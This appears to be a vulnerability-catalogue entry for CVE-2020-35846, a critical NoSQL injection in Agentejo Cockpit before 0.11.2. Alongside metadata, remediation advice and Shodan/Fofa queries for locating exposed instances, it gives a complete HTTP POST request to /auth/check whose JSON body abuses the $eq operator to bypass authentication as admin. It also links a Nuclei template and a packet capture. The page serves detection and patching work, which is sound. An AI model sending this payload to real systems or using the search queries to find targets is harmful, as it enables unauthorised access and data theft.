| Title | Agentejo Cockpit < 0.11.2 - NoSQL Injection |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation. |
| Remediation | Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93533 |
| CVE ID | CVE-2020-35846 |
| CWE ID | CWE-89 |
| Shodan Query | http.favicon.hash:688609340http.html:"cockpit" |
| Fofa Query | icon_hash=688609340body="cockpit" |
| Tags | cve cve2020 nosqli sqli cockpit injection agentejo vuln |
Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.
POST /auth/check HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 104
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
{
"auth": {
"user": {
"$eq": "admin"
},
"password": [
0
]
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35846.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35846.pcap
N/AN/A